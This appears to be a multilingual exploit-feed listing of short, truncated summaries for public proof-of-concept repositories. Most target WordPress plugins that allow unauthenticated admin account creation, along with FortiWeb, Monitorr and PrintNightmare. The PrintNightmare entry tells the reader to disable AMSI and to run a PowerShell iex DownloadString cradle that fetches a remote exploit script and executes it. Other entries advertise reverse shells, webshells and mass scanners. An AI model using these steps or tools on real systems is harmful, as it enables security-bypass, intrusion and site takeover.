cve-2021-1675

cve-2021-1675 désactiver AMSI: copier dans PowerShell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt exécuter invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' créer un compte...

CVE-2026-8732

CVE-2026-8732 — Массовый сканер и автоматическое создание администратора для WordPress WP Google Map Pro 📌 Описание Этот инструмент эксплуатирует CVE-2026-8732 — уязвимость в плагине WP Google Map Pro для WordPress. Уязвимость позволяет неаутентифицированному злоумышленнику получить валидный...

CVE-2024-27956

🚨POC PUBLIÉ🚨PoC pour l'injection SQL menant à une exécution de code à distance RCE dans WordPress publié CVE-2024-27956. Création de compte administrateur WordPress et reverse shell cve-2024-27956 Utilisation - sudo python3 cve.py...

CVE-2023-3460

🚨 CVE-2023-3460 - Эксплойт повышения привилегий в WordPress Ultimate Member Это эксплойт типа proof-of-concept PoC для CVE-2023-3460 — критической уязвимости в плагине WordPress Ultimate Member. Он позволяет неаутентифицированным пользователям повышать свои привилегии до Администратора путем...

CVE-2019-6249_Hucart-cms

CVE-2019-6249Hucart cms Résumé de la vulnérabilité Nom de la vulnérabilité : Hucart cms v5.7.4 CSRF permettant d'ajouter arbitrairement un compte administrateur Date de signalement : 2019-01-13 Découvreur : AllenChen [email protected] Page d'accueil du produit : http://www.hucart.com/ Lien d...

CVE-2018-15365

XSS riflesso in Deep Discovery Inspector 3.8 Ho trovato una vulnerabilità di XSS riflesso nell'interfaccia web di gestione di Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165 Il percorso dello script vulnerabile è /php/detectiondetailfilter.php. Questo script è accessibile solo da un...

CVE-2025-6934

CVE-2025-6934 escalation non autenticata dei privilegi in Opal Estate Pro Descrizione CVE-2025-6934 è una vulnerabilità critica nel plugin WordPress Opal Estate Pro ≤ v1.7.5. Questo bug consente a un attaccante non autenticato di creare un nuovo account amministratore inviando una richiesta...

CVE-2025-4334

CVE-2025-4334 - Simple User Registration --form Argomenti: -u / --url → URL base di WordPress es. https://target.com/wordpress/ --form → URL completo del modulo di registrazione es. https://target.com/wpr/default-registration/ Esempio: root@kitploit: python3 CVE-2025-4334.py -u...

CVE-2025-6934

CVE-2025-6934 Exploit Automático ⚡ Visão Geral CVE-2025-6934 é um exploit de prova de conceito PoC que visa o Plugin WordPress: Opal Estate Pro ≤ 1.7.5. Este exploit demonstra a criação de conta de administrador sem autenticação. Aviso: Este PoC é apenas para fins educacionais. Não use em sistema...

CVE-2025-64446

🛡️ CVE-2025-64446 - FortiWeb Kritische Authentifizierungsumgehung & Pfad-Traversal Kritische nicht authentifizierte Sicherheitslücke, die es entfernten Angreifern ermöglicht, Administratorkonten auf FortiWeb-Geräten zu erstellen. 📌 Überblick CVE-2025-64446 ist eine schwerwiegende relative...

CVE-2025-68860

WordPress Mobile Builder = 1.4.2 - Broken Authentication CVE-2025-68860 Descrizione Il plugin WordPress Mobile builder versione 1.4.2 e precedenti presenta una vulnerabilità di Broken Authentication che consente a un attaccante di creare token JWT validi utilizzando il segreto predefinito...

Azure-AD-Password-Checker

Azure AD Password Checker In un ambiente Azure AD, è possibile determinare se un utente ha la Multi-Factor Authentication MFA disabilitata senza richiedere privilegi speciali. Questo può essere ottenuto analizzando la data di creazione dell'account e la data dell'ultima modifica della password. S...

monitorr-exploit-toolkit

Monitorr-Exploit-Toolkit RCE über unsicheren Datei-Upload PHP-Reverse-Shell, Webshell usw. Erstellung von Administratorkonten über Autorisierungs-Bypass Technischer Informationsabfluss : Monitorr-Version, PHP-Version, Systemversion & Kernel, PHP-Konfiguration usw. Exploit für CVE-2020-28872 und...

WordPress User Registration & Membership plugin < 5.2.6 - Unauthenticated Account Creation While Registration Disabled vulnerability

Unauthenticated Account Creation While Registration Disabled vulnerability discovered by Nguyễn Đức Hòa in WordPress Plugin User Registration versions 5.2.6...

refreshing-mcp-tool

यह वास्तव में पूरा या तैयार नहीं है, लेकिन मैं कोड को चेक इन करवाना चाहता था। यह मूल रूप से F5 के डेटाबेस प्रोटोकॉल "mcp" को लागू करता है, जो UNIX domain socket के माध्यम से काम करता है। इसका मतलब है कि इनमें से किसी का उपयोग करने से पहले आपको F5 डिवाइस पर शेल की आवश्यकता होती है। आप आमतौर पर...

WordPress Project Manager plugin 2.1.0-4.0.6 - Unauthenticated Subscriber Account Creation vulnerability

Unauthenticated Subscriber Account Creation vulnerability discovered by Usama Arshad in WordPress Plugin WP Project Manager versions 2.1.0-4.0.6...

CVE-2026-74928

The Project Manager WordPress plugin before 4.0.7 does not have any authorisation check on its import routes, allowing unauthenticated users to create WordPress accounts with a password the attacker already knows, bypassing the site's own registration setting...

CVE-2026-74928 WP Project Manager 2.1.0 - 4.0.6 - Unauthenticated Subscriber Account Creation via Trello Import Routes

The Project Manager WordPress plugin before 4.0.7 does not have any authorisation check on its import routes, allowing unauthenticated users to create WordPress accounts with a password the attacker already knows, bypassing the site's own registration setting...

CVE-2026-74928

The WP Project Manager WordPress plugin (versions 2.1.0–4.0.6 ) lacks an authorization check on its Trello import routes , allowing unauthenticated users to create WordPress accounts with a password the attacker already knows , effectively bypassing the site's registration setting. This was disco...

EUVD-2026-66278

The Project Manager WordPress plugin before 4.0.7 does not have any authorisation check on its import routes, allowing unauthenticated users to create WordPress accounts with a password the attacker already knows, bypassing the site's own registration setting...